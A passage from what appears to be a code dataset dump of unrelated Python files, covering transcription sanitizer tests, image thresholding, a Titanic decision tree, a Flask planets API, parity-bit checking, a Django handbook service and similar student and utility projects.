맞추기/4335.py","file_name":"4335.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"282488863","text":"import unittest\n\nfrom ekstep_data_pipelines.audio_transcription.transcription_sanitizers import (\n get_transcription_sanitizers,\n)\nfrom ekstep_data_pipelines.audio_transcription.transcription_sanitizers.audio_transcription_errors import (\n TranscriptionSanitizationError,\n)\n\n\nclass TestTrancriptionSanitizer(unittest.TestCase):\n def setUp(self):\n transcription_sanitizers = get_transcription_sanitizers()\n self.hindi_transcription_sanitizers = transcription_sanitizers.get(\"hindi\")\n\n def test_transcription_containing_empty_string_should_raise_runtime_exception(self):\n transcript_obj = self.hindi_transcription_sanitizers\n transcript = \" \"\n with self.assertRaises(TranscriptionSanitizationError):\n transcript_obj.sanitize(transcription=transcript)\n\n def test_transcription_containing_space_in_start_should_return_None(self):\n transcript_obj = self.hindi_transcription_sanitizers\n transcript = \" अलग अलग होते हैं\"\n self.assertEqual(transcript_obj.sanitize(transcript), \"अलग अलग होते हैं\")\n\n def test_transcription_punctuations_are_being_removed(self):\n transcript_obj = self.hindi_transcription_sanitizers\n transcript = \"अलग-अलग होते है!\\\"#%&'()*+,./;<=>?@[\\\\]^_`{|}~।\"\n self.assertEqual(transcript_obj.replace_bad_char(transcript), \"अलग अलग होते है\")\n\n def test_transcription_containing_numbers_0123456789_should_be_accepted(self):\n transcript_obj = self.hindi_transcription_sanitizers\n transcript = \"लेकिन मैक्सिमॅम 0123456789\"\n self.assertEqual(transcript_obj.shouldReject(transcript), False)\n\n def test_transcription_containing_english_character_should_give_runtime_exception(\n self,\n ):\n transcript_obj = self.hindi_transcription_sanitizers\n transcriptions = \"4K की स्पीड थी\"\n self.assertEqual(transcript_obj.shouldReject(transcriptions), True)\n\n def test_transcription_should_pass_for_given_samples(self):\n transcript_obj = self.hindi_transcription_sanitizers\n transcripts = [\n (\"अलग-अलग होते हैं \", \"अलग अलग होते हैं\"),\n (\"इफ यू हॅव ठीक थी\", \"इफ यू हॅव ठीक थी\"),\n (\"डिस्कॅशंस\", \"डिस्कॅशंस\"),\n (\"लेकिन मैक्सिमॅम \", \"लेकिन मैक्सिमॅम\"),\n (\"फ्लैट चलाते-चलाते\", \"फ्लैट चलाते चलाते\"),\n (\"1126 वॅन\", \"1126 वॅन\"),\n (\n \"दो बच्चे हो गए दोनों का दो-दो बच्चे\",\n \"दो बच्चे हो गए दोनों का दो दो बच्चे\",\n ),\n (\n \"कॅन्फ़्यूज़न हो जाता है कि मैं कौनसा लू \",\n \"कॅन्फ़्यूज़न हो जाता है कि मैं कौनसा लू\",\n ),\n ]\n for each_transcript, correct_response in transcripts:\n self.assertEqual(transcript_obj.sanitize(each_transcript), correct_response)\n\n def test_transcription_containing_time_should_fail(self):\n transcript_obj = self.hindi_transcription_sanitizers\n with self.assertRaises(TranscriptionSanitizationError):\n transcript_obj.sanitize(transcription=\"8:00 से\")\n\n def test_transcription_should_fail_for_given_samples(self):\n transcript_obj = self.hindi_transcription_sanitizers\n transcriptions = [\n \"8:00 से\",\n \"टेक्स्ट टू दीपा वन ऍफ़ टू\",\n \"रजिस्ट्री ऍफ़\",\n \"3dmili\",\n \"x-ray निकाल के दिखाते हैं \",\n \"e-filing आ जाती है \",\n \"B.Ed कॉलेज \",\n \"m.a. B.Ed पूरी कर \",\n \"दिनभर patient-centered \",\n \"₹300\",\n \"$500\",\n ]\n for each_transcription in transcriptions:\n with self.assertRaises(TranscriptionSanitizationError):\n transcript_obj.sanitize(each_transcription)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"packages/ekstep_pipelines_tests/transcription_sanitizer_tests.py","file_name":"transcription_sanitizer_tests.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"493962973","text":"import scipy.io\nimport torch\nimport numpy as np\n#import time\nimport os\n\n#######################################################################\n# Evaluate\ndef evaluate(qf,ql,gf,gl):\n query = qf.view(-1,1)\n score = torch.mm(gf,query)\n score = score.squeeze(1).cpu()\n score = score.numpy()\n index = np.argsort(score) #from small to large\n index = index[::-1]\n return index[0:200]\n\n######################################################################\nresult = scipy.io.loadmat('pytorch_result.mat')\nquery_feature = torch.FloatTensor(result['query_f'])\nquery_cam = result['query_cam'][0]\nquery_label = result['query_label'][0]\ngallery_feature = torch.FloatTensor(result['gallery_f'])\ngallery_cam = result['gallery_cam'][0]\ngallery_label = result['gallery_label'][0]\n\nmax_index_200 = []\n#print(query_label)\nfor i in range(len(query_label)):\n max_index_200[i] = evaluate(query_feature[i],query_label[i],gallery_feature,gallery_label)\n","sub_path":"evaluate_gpu_my.py","file_name":"evaluate_gpu_my.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"444966634","text":"import pygame\r\nfrom math import radians, cos, sin\r\nfrom pygame.draw import rect, line, circle\r\n\r\npygame.init()\r\n\r\ngroundColor = \"#EEEEEE\"\r\nplantColor = \"#00FF00\"\r\nfaceColor = \"YELLOW\"\r\neyesColor = \"RED\"\r\nfaceEdgeColor = \"BLACK\"\r\neyesEdgeColor = \"BLACK\"\r\nmouthColor = \"BLACK\"\r\nbrowColor = \"BLACK\"\r\n\r\nscreenwidth = 1400\r\nscreenheight = 750\r\n\r\nfaceX = 700\r\nfaceY = 300\r\nfaceRadius = 200\r\n\r\nbrowXLeft = faceX - 30\r\nbrowYLeft = faceY - 100\r\nbrowXRight = faceX + 130\r\nbrowYRight = faceY - 160\r\nbrowALeft = 140\r\nbrowARight = 100\r\nbrowWidthLeft = 30\r\nbrowWidthRight = 25\r\nbrowAngleLeft = 30\r\nbrowAngleRight = -40\r\n\r\nmouthA = 200\r\nmouthB = 40\r\nmouthX = faceX - mouthA // 2\r\nmouthY = faceY + 90\r\n\r\neyeRadiusLeft = 30\r\neyeXLeft = faceX - 80\r\neyeYLeft = faceY - 80\r\n\r\neyeRadiusRight = 20\r\neyeXRight = faceX + 80\r\neyeYRight = faceY - 80\r\n\r\nFPS = 60\r\nscreen = pygame.display.set_mode((screenwidth, screenheight))\r\nscreen.fill(groundColor)\r\n\r\n\r\ndef drawbrows(browColor, x1, y1, a1, browWidthLeft, alpha1, x2, y2, a2, browWidthRight, alpha2):\r\n drawline(browColor, x1, y1, x1 - a1 * cos(radians(alpha1)), y1 - a1 * sin(radians(alpha1)), browWidthLeft)\r\n drawline(browColor, x2, y2, x2 - a2 * cos(radians(alpha2)), y2 - a2 * sin(radians(alpha2)), browWidthRight)\r\n\r\n\r\ndef drawline(browColor, x0, y0, x, y, _width):\r\n line(screen, browColor, (x0, y0), (x, y), width=_width)\r\n\r\n\r\ndef draweyes(eyesColor, eyeXLeft, eyeYLeft, eyeRadiusLeft, eyeXRight, eyeYRight, eyeRadiusRight, edgeColor):\r\n drawcircle(eyesColor, eyeRadiusLeft, eyeXLeft, eyeYLeft, edgeColor)\r\n drawcircle(\"BLACK\", eyeRadiusLeft / 2, eyeXLeft, eyeYLeft, edgeColor) # left eye width pupil and edge\r\n\r\n drawcircle(eyesColor, eyeRadiusRight, eyeXRight, eyeYRight, edgeColor)\r\n drawcircle(\"BLACK\", eyeRadiusRight / 2, eyeXRight, eyeYRight, edgeColor)\r\n\r\n\r\ndef drawcircle(color, r, x0, y0, edgeColor):\r\n circle(screen, color, (x0, y0), r) # draw circle with edge\r\n circle(screen, edgeColor, (x0, y0), r, width=1)\r\n\r\n\r\ndef drawrect(x0, y0, a, b, color):\r\n rect(screen, color, (x0, y0, a, b))\r\n\r\n\r\ndef drawface(faceColor, faceEdgeClor, faceX, faceY, faceRadius):\r\n drawcircle(faceColor, faceRadius, faceX, faceY, faceEdgeClor)\r\n\r\n\r\ndef drawmouth(mouthX, mouthY, mouthA, mouthB, mouthColor):\r\n drawrect(mouthX, mouthY, mouthA, mouthB, mouthColor)\r\n\r\n\r\ndrawface(faceColor, faceEdgeColor, faceX, faceY, faceRadius)\r\ndraweyes(eyesColor, eyeXLeft, eyeYLeft, eyeRadiusLeft, eyeXRight, eyeYRight, eyeRadiusRight, eyesEdgeColor)\r\ndrawmouth(mouthX, mouthY, mouthA, mouthB, mouthColor)\r\ndrawbrows(browColor, browXLeft, browYLeft, browALeft, browWidthLeft, browAngleLeft,\r\n browXRight, browYRight, browARight, browWidthRight, browAngleRight)\r\n\r\npygame.display.update()\r\nclock = pygame.time.Clock()\r\nfinished = False\r\n\r\nwhile not finished:\r\n clock.tick(FPS)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n finished = True\r\n\r\npygame.quit()","sub_path":"LAB_4/image1.py","file_name":"image1.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"165967256","text":"a=input()\nemp=[int(x) for x in input().split()]\nb=[]\ndef dp(st:list,i,path:list):\n global b\n\n if(len(path)==3):\n b.append([x for x in path])\n return\n elif(i >= len(st)):\n return\n elif(len(path)==0 or path[len(path)-1]0:\n #print('face found!')\n #temp = (x,y,w,h)\n (x,y,w,h) = faces[0]\n cv2.rectangle(frame,(x,y),(x+h,y+w),(0,255,0),2)\n result=(x,y,w,h)\n x=result[0]+w/2\n y=result[1]+h/2\n facebool = True\n '''\n \n for(x,y,w,h) in faces:\n #找到矩形的中心位置\n cv2.rectangle(frame,(x,y),(x+h,y+w),(0,255,0),2)\n result=(x,y,w,h)\n x=result[0]+w/2\n y=result[1]+h/2\n '''\n \n #“2”处 误差值\n \n \n #while facebool: \n thisError_x=x-160\n thisError_y=y-120\n #if thisError_x > -20 and thisError_x < 20 and thisError_y > -20 and thisError_y < 20:\n # facebool = False\n #自行对P和D两个值进行调整，检测两个值的变化对舵机稳定性的影响\n pwm_x = thisError_x*5+1*(thisError_x-lastError_x)\n pwm_y = thisError_y*5+1*(thisError_y-lastError_y)\n lastError_x = thisError_x\n lastError_y = thisError_y\n XP=pwm_x/100\n YP=pwm_y/100\n X_P=X_P+int(XP)\n Y_P=Y_P+int(YP)\n if X_P>670:\n X_P=650\n if X_P<0:\n X_P=0\n if Y_P>650:\n Y_P=650\n if X_P<0:\n Y_p=0\n \n \n \n #pwm.set_pwm(1,0,650-X_P)\n #pwm.set_pwm(2,0,650-Y_P)\n\n cv2.imshow(\"capture\", frame)\n if cv2.waitKey(1)==119:\n break\n \ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"Adafruit_Python_PCA9685/servo_face_nosocket.py","file_name":"servo_face_nosocket.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"380205949","text":"import json\nimport random\nimport asyncio\n\nclass Dunno:\n\tcommandDict = {\"\\\\command_not_found\":\"dunno\"}\n\tdef __init__(self, client):\n\t\tself.client = client\n\t\twith open(\"plugins/dunnos.json\",\"r\") as dunnofile:\n\t\t\tself.dunnos = json.load(dunnofile)\n\n\tasync def dunno(self, commandName, message):\n\t\tawait self.client.send_message(message.channel, random.sample(self.dunnos, 1)[0])\nClass = Dunno\n\n","sub_path":"plugins/dunnos.py","file_name":"dunnos.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"312846617","text":"import mysql.connector\n\ntry:\n conn = mysql.connector.connect(\n user=\"root\",\n password=\"munna02\",\n host=\"localhost\",\n database=\"pdb\",\n port=3306\n )\n if (conn.is_connected()):\n print(\"Connected\")\nexcept:\n print(\"Unable to connect!!\")\n\nsql = \"DELETE FROM student_1 WHERE stuid=3\"\nmyc = conn.cursor()\n\ntry:\n myc.execute(sql)\n conn.commit()\n print(myc.rowcount, \"row deleted.\")\n\nexcept:\n conn.rollback()\n print(\"Unaable to delete!!!!\")\n\nmyc.close()\nconn.close()","sub_path":"Advance-python/How to Delete Data from Table Parameterized Query in Python-1.py","file_name":"How to Delete Data from Table Parameterized Query in Python-1.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"387499911","text":"test_data = \"\"\"1721\n979\n366\n299\n675\n1456\"\"\"\n\n\ndef find_two_2020(values):\n\n for i in range(0, len(values)):\n first = values[i]\n rest = values[i+1:]\n\n for j in range(0, len(rest)):\n second = rest[j]\n\n if(first + second == 2020):\n return (first, second)\n\n\ndef find_three_2020(values):\n\n for i in range(0, len(values)):\n first = values[i]\n rest = values[i+1:]\n\n for j in range(0, len(rest)):\n second = rest[j]\n remaining = rest[j+1:]\n\n for k in range(0, len(remaining)):\n third = remaining[k]\n\n if(first + second + third == 2020):\n return (first, second, third)\n\n\ndef get_puzzle_input():\n with open('InputData/day1.txt', 'r') as file:\n file_data = [line.strip('\\n') for line in file]\n\n return [int(x) for x in file_data]\n\n\nif __name__ == \"__main__\":\n #data = [int(x) for x in test_data.split('\\n')]\n data = get_puzzle_input()\n\n nums = find_two_2020(data)\n print(nums[0] * nums[1])\n\n nums = find_three_2020(data)\n print(nums[0] * nums[1] * nums[2])\n","sub_path":"day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"169307011","text":"# -*- coding: utf-8 -*-\n\n# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the MIT License.\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# MIT License for more details.\n\n\"\"\"ResNetVariant for Detection.\"\"\"\nfrom zeus.common import ClassType, ClassFactory\nfrom .deformation import Deformation\nfrom zeus.modules.operators import ops\nfrom zeus.modules.operators import PruneConv2DFilter, PruneBatchNormFilter, PruneLinearFilter\n\n\n@ClassFactory.register(ClassType.NETWORK)\nclass PruneDeformation(Deformation):\n \"\"\"Prune any Network.\"\"\"\n\n def __init__(self, desc, from_graph=False, weight_file=None):\n super(PruneDeformation, self).__init__(desc, from_graph, weight_file)\n self.is_adaptive_weight = True\n\n def deform(self):\n \"\"\"Deform Network.\"\"\"\n if not self.props:\n return\n for name, module in self.model.named_modules():\n if isinstance(module, ops.Conv2d):\n PruneConv2DFilter(module, self.props).filter()\n elif isinstance(module, ops.BatchNorm2d):\n PruneBatchNormFilter(module, self.props).filter()\n elif isinstance(module, ops.Linear):\n PruneLinearFilter(module, self.props).filter()\n","sub_path":"zeus/modules/deformations/prune_deformation.py","file_name":"prune_deformation.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"258415863","text":"import numpy as np\nimport cv2\n\n# THRESHOLDING is the way by which we try to make an object\n# come out of a background\n\n\"\"\" img = cv2.imread('used_images_videos/lena.jpg', 0)\n_, th1 = cv2.threshold(img, 50, 255, cv2.THRESH_BINARY)\n_, th2 = cv2.threshold(img, 200, 255, cv2.THRESH_BINARY_INV)\n_, th3 = cv2.threshold(img, 127, 255, cv2.THRESH_TRUNC) \n_, th4 = cv2.threshold(img, 127, 255, cv2.THRESH_TOZERO) # similarly thresh_toZero\n\n\ncv2.imshow('Image', img)\ncv2.imshow('Th1', th1)\ncv2.imshow('Th2', th2)\ncv2.imshow('Th3', th3)\ncv2.imshow('Th4', th4)\n \"\"\"\n\n# ADAPTIIVE THREHOLDING is the method where ther the threshold is calculated \n# for different group of pixels\n# used when we have different illuminations at different groups of pixels\n\nimg = cv2.imread('used_images_videos/sudoku.png', 0)\n_, th1 = cv2.threshold(img, 100, 255, cv2.THRESH_BINARY)\nth2 = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 11, 10)\nth3 = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 10)\n\ncv2.imshow('Image', img)\ncv2.imshow('Th1', th1) # direct binary_threshold doent work\ncv2.imshow('Th2 ', th2)\ncv2.imshow('Th3', th3)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"Practice/opencv/thresholding.py","file_name":"thresholding.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"511832423","text":"\"\"\"\n1.pd读取数据\n2.选择有影响的特征和目标\n3.处理缺失值\n4.分割数据集\n5.进行特征工程,pd转换字典,特征抽取\nx_train.to_dict(orient='records')\n6.决策树估计器流程\n7.可视化\n\"\"\"\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction import DictVectorizer\nfrom sklearn.tree import DecisionTreeClassifier,export_graphviz\nimport numpy as np\n\n\ndef titainic():\n \"\"\"\n 对乘客的生死进行预测\n :return:\n \"\"\"\n # 1.读取���据\n data = pd.read_csv('./titanic.txt')\n # print(data)\n\n # 目标值\n y = data['survived']\n # 选择特征值\n x = data[['pclass', 'age', 'sex']].copy()\n # print(x.head(20))\n\n # 对缺失值进行处理\n x['age'].fillna(x['age'].mean(), inplace=True)\n # print(x.head(20))\n\n # 分割数据集为训练数据和\n x_train, x_test, y_train, y_test = train_test_split(x, y)\n\n # 实例化字典特征抽取的类\n dv = DictVectorizer(sparse=False)\n x_train = dv.fit_transform(x_train.to_dict(orient='records'))\n x_test = dv.transform(x_test.to_dict(orient='records'))\n print(dv.get_feature_names())\n # print(x_train[:20])\n\n # 使用决策树进行分类\n dec = DecisionTreeClassifier(criterion='entropy', max_depth=None)\n\n # 用训练数据决策树模型\n dec.fit(x_train, y_train)\n\n # 对测试集进行预测\n y_pred = dec.predict(x_test)\n # print(y_pred)\n print('预测结果', np.mean(y_pred == y_test))\n print('预测准确率', dec.score(x_test, y_test))\n\n export_graphviz(dec,out_file=None,feature_names=['age', 'pclass=1st', 'pclass=2nd', 'pclass=3rd', 'sex=female', 'sex=male'])\n\n return None\n\n\nif __name__ == '__main__':\n titainic()\n","sub_path":"05-泰坦尼克生死预测.py","file_name":"05-泰坦尼克生死预测.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"45724426","text":"import matplotlib\n# Force matplotlib to not use any Xwindows backend.\nmatplotlib.use('Agg') #working on vagrant/headless\nimport matplotlib.pyplot as plt\n# import gapjump\nfrom collections import Counter\n# degree data\n# z = gapjump.count_degrees\n\ndef create_pie_chart(z):\n \"\"\"Creating pie chart of edu degrees using matplotlib in vm environment, \n saving it to file\"\"\"\n # Data to plot\n degree_counts = Counter(z) # degree data counted\n labels = 'BA/BS', 'MA/MS', 'MBA', 'PhD', 'None'\n colors = ['purple', 'blue', 'green', 'red', 'yellow']\n explode = (0.1, 0, 0, 0, 0) # explode 1st slice\n sizes = [degree_counts[\"BA/BS\"],degree_counts[\"MA/MS\"],degree_counts[\"MBA\"],degree_counts[\"PhD\"],degree_counts[\"None\"]]\n\n plt.figure()\n slices, text1, text2 = plt.pie(sizes, colors=colors, explode=explode,autopct='%1.1f%%',shadow=True, startangle=90)\n plt.legend(slices, labels, loc=\"best\")\n plt.axis('equal')\n plt.tight_layout()\n plt.title(\"Degree Breakdown\")\n # saving to file/ working on vagrant/headless machine\n plt.savefig('degree_pie.png')\n","sub_path":"degree_pie_chart.py","file_name":"degree_pie_chart.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"388479756","text":"from app import db\nfrom flask import Blueprint, jsonify, make_response, request, abort\nfrom app.models.planet import Planet\n\nplanets_bp = Blueprint(\"planets\", __name__, url_prefix=\"/planets\")\n\n# Helper Function\ndef get_planet_from_id(id):\n try:\n id = int(id)\n except:\n abort(400, {\"error\": \"invalid id\"})\n return Planet.query.get_or_404(id)\n\n# Routes\n@planets_bp.route(\"\", methods=[\"GET\"])\ndef read_all_planets():\n planets = Planet.query.all()\n planets_response = []\n for planet in planets:\n planets_response.append(planet.to_dict())\n return jsonify(planets_response)\n\n@planets_bp.route(\"\", methods=[\"POST\"])\ndef create_planet():\n request_body = request.get_json()\n new_planet = Planet(\n name=request_body[\"name\"],\n description=request_body[\"description\"],\n moons=request_body[\"moons\"],\n )\n\n db.session.add(new_planet)\n db.session.commit()\n\n return make_response(f\"New planet {new_planet.name} successfully created!\", 201)\n \n@planets_bp.route(\"\", methods=[\"GET\"])\ndef read_planet(id):\n planet = get_planet_from_id(id)\n return planet.to_dict()\n\n\n@planets_bp.route(\"\", methods=[\"PATCH\"])\ndef update_planet(id):\n planet = get_planet_from_id(id)\n request_body = request.get_json()\n if \"name\" in request_body:\n planet.name = request_body[\"name\"]\n if \"description\" in request_body:\n planet.description = request_body[\"description\"]\n if \"moons\" in request_body:\n planet.moons = request_body[\"moons\"]\n db.session.commit()\n return jsonify([planet.to_dict(), \"Update Successful\"])\n\n\n@planets_bp.route(\"\", methods=[\"DELETE\"])\ndef delete_planet(id):\n planet = get_planet_from_id(id)\n db.session.delete(planet)\n db.session.commit()\n return make_response(\"Delete successful\", 200)\n","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"522224985","text":"\nfrom bankingpyt import Account\nimport unittest\n\n\nclass Testing(unittest.TestCase):\n def setUp(self):\n self.account1 = Account()\n self.account1.balance = 0\n\n self.balance_check = self.account1.check_balance()\n self.amount_after_deposit = Account().deposit_amount(1, 1000)\n self.amount_after_withdraw = Account().withdraw_amount(1, 1000)\n self.account2 = Account()\n self.account2.account_no = 1\n self.account2.balance = 1000\n self.account_type = self.account2.check_account_type(\n self.account2.account_no)\n\n def test_check_balance(self):\n \"\"\" If user is new then this balance will be zero\"\"\"\n\n self.assertEqual(self.balance_check, 0)\n\n def test_deposit_amount(self):\n\n amount_before_deposit = 100\n\n self.assertNotEqual(amount_before_deposit, self.amount_after_deposit)\n\n def test_withdraw_amount(self):\n amount_before_withdraw = 100\n\n self.assertNotEqual(amount_before_withdraw, self.amount_after_withdraw)\n\n def test_account_type(self):\n\n saving_account = 1000\n current_Account = 500\n\n self.assertEqual(self.account_type, saving_account)\n self.assertNotEqual(self.account_type, current_Account)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"module3/parta/Tests.py","file_name":"Tests.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"586877965","text":"# -*- coding: utf-8 -*-\n\nimport random \n\ndef main():\n string = \"one two green seven\"\n \n laskettu_sana = add_parity(string)\n tarkistettu, error_free = check_list(laskettu_sana)\n print(\"Tarkistettu viesti: {}, No errors found: {}\".format(tarkistettu, error_free))\n \ndef add_parity(n):\n \"\"\"\n Adds parity bit to chractors and returns list of numbers\n \"\"\"\n list = []\n \n for letter in n: \n #Calculate the parity bit of the numeric value of the character\n value = ord(letter)\n \n #Left shift the charcater value by one bit\n value <<= 1\n \n #Add the parity bit to the character value\n value += get_parity(value)\n \n #add to a list\n list.append(chr(value))\n \n return list\n \ndef get_parity(n):\n while n > 1:\n n = (n >> 1) ^ (n & 1)\n return n\n \ndef check_list(list):\n error_free = True\n checked = []\n for value in list:\n num, bool = check_parity(ord(value))\n if(bool == False):\n error_free = False\n checked.append(num)\n \n return changeToString(checked), error_free\n \n \ndef check_parity(n):\n \"\"\"\n Checks given values parity and returns boolean value depending on its status \n and number value of character.\n True -> everything is good, False -> something went wrong.\n \"\"\"\n parity_bit = 0\n #Read the parity bit from the numeric value of the character\n parity_bit = int((bin(n)[-1:]))\n \n #Right shift the character value by one bit\n n >>= 1\n \n #add random errrors\n if(random.randrange(10) > 8):\n n = n + 3\n \n #Calculate the parity of the character value and compare to received parity\n if((countSetBits(n)%2) != parity_bit):\n return n, False\n \n return n, True\n \ndef countSetBits(value):\n \"\"\"\n Function calculates number of ones from given numbers binary and returns \n calculated mount.\n \"\"\"\n # convert given number into binary \n binary = bin(value) \n # now separate out all 1's from binary string \n # skips two starting characters of binary string i.e; 0b\n setBits = [ones for ones in binary[2:] if ones=='1'] \n\n return int(len(setBits))\n\ndef changeToString(list):\n \"\"\"\n Creates a string from numbers in a list.\n \"\"\"\n string = \"\"\n for i in list:\n string += chr(i)\n \n return string\n \nif __name__ == '__main__':\n # Call the main function when this script is executed\n main()\n \n","sub_path":"parity.py","file_name":"parity.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"213571027","text":"from datetime import datetime\n\nfrom django.utils import timezone\nfrom django.http import Http404\nfrom django.shortcuts import get_object_or_404\n\nfrom .models import Handbook\n\n\ndef get_handbooks():\n \"\"\"\n Возвращает список словарей.\n \"\"\"\n today = timezone.now()\n return Handbook.objects.exclude(create_date__gt=today)\n\n\ndef get_last_version_handbooks(year, month, day):\n \"\"\"\n Возвращает список словарей с именем и последней версией `Handbook` на указанную дату\n \"\"\"\n # Rise ValueError exception if `date` is incorrect\n relevant_to = datetime.strptime(f'{year}-{month}-{day}', '%Y-%m-%d').astimezone(timezone.get_current_timezone())\n handbooks = Handbook.objects.exclude(create_date__gte=relevant_to)\n return handbooks.raw(\"SELECT id, name, short_name, description, create_date, MAX(test_task_handbook.version) \"\n \"FROM test_task_handbook GROUP BY test_task_handbook.name\")\n\n\ndef get_handbook(name, version=None):\n \"\"\"\n Возвращает `Handbook` с указанным именем и версией или текущей версией, если версия не указанна явно.\n \"\"\"\n if version is not None:\n return get_object_or_404(get_handbooks(), name=name, version=str(version))\n\n today = timezone.now()\n last_version_handbooks = get_last_version_handbooks(today.year, today.month, today.day)\n handbook = next((handbook for handbook in last_version_handbooks if handbook.name == name), None)\n if handbook is None:\n raise Http404\n return handbook\n\n\ndef get_handbook_items(name, version, data):\n \"\"\"\n Проверяет, существует ли `HandbookItem` с указанными данными для конретного справочника.\n Возвращает объекты `HandbookItem`, если есть совпдения.\n \"\"\"\n code = data.get('code', None)\n content = data.get('content', None)\n handbook = get_handbook(name, version)\n if content is None:\n return handbook.handbookitem_set.filter(code=code)\n else:\n return handbook.handbookitem_set.filter(code=code, content=content)\n","sub_path":"test_task/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"236639997","text":"\n\"\"\" Class description goes here. \"\"\"\n\nfrom dataclay import dclayMethod\nfrom storage.api import StorageObject\n\nclass URI(StorageObject):\n '''\n @ClassField host str\n @ClassField path str\n '''\n \n # example.com/page.html\n # host = example.com\n # path = page.html\n \n @dclayMethod(uri=\"str\")\n def __init__(self, uri):\n splitted_uri = uri.split('/')\n self.host = splitted_uri[0]\n self.path = '/'.join(splitted_uri[1:]) if len(splitted_uri) > 1 else None\n \nclass WebSite(StorageObject):\n '''\n @ClassField uri model.classes.URI\n @ClassField pages list\n '''\n\n @dclayMethod(uri=\"str\")\n def __init__(self, uri):\n self.uri = URI(uri)\n self.pages = list()\n\n @dclayMethod(page=\"model.classes.WebPage\")\n def add_web_page(self, page):\n if(self.uri.host == page.uri.host):\n self.pages.append(page)\n \nclass WebPage(StorageObject):\n '''\n @ClassField uri model.classes.URI\n @ClassField external_links list\n '''\n\n @dclayMethod(uri=\"str\")\n def __init__(self, uri):\n self.uri = URI(uri)\n self.external_links = list()\n\n @dclayMethod(link=\"model.classes.WebSite\")\n def add_link(self, link):\n if(self.uri.host != link.uri.host):\n self.external_links.append(link)\n","sub_path":"tests/functional_tests/global_gc/model/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"85807680","text":"import time\nfrom datetime import datetime\nimport click\n\nfrom cli.reddit import RedditAPI\nfrom utils.cache.backend.base import Cache\nfrom utils.helpers import *\nfrom utils.console.tables import *\nfrom utils.console.messages import *\n\nreddit = RedditAPI()\ncache = Cache()\n\n\n@click.command()\n@click.option(\n \"--subreddit\",\n default=\"popular\",\n help=\"Subreddit to be fetched, e.g. 'popular'\",\n)\n@click.option(\n \"--limit\",\n default=75,\n help=\"The maximum number of items to return in the slice of the listing;\",\n)\ndef main(subreddit, limit):\n \"\"\"Entry point of execution for cli;\n\n Args:\n subreddit (str): reddit community and posts associated with it;\n limit (int): max number of posts to return in the listing;\n\n Returns:\n Should return an ordered 'list' of top :parm:`limit` posts in the listing;\n \"\"\"\n\n # Vars\n TOP_LIST_HEADING = top_list_msg(limit)\n NO_LONGER_IN_TOP_LIST_HEADING = no_longer_top_list_msg(limit)\n\n # Fetch reddit.com\n resp = reddit.get_subreddit_top_posts(subreddit, limit)\n\n # Get payload\n subreddits = resp.parsed[\"data\"][\"children\"]\n\n # Set init state\n STATE = {}\n\n # Check if there is cached data\n if cache.get(\"ids\"):\n cached_post_ids = cache.get(\"ids\")\n else:\n cached_post_ids = []\n\n # Set array to store post ids from payload\n payload_post_ids = []\n\n index = 1\n for i in subreddits:\n post = i[\"data\"]\n\n # Get post metadata\n id = post[\"id\"]\n headline = post[\"title\"]\n ups = post[\"ups\"]\n curr_timestamp = int(time.time())\n\n # Add state\n STATE[id] = {\n \"headline\": headline,\n \"ups\": ups,\n \"received\": 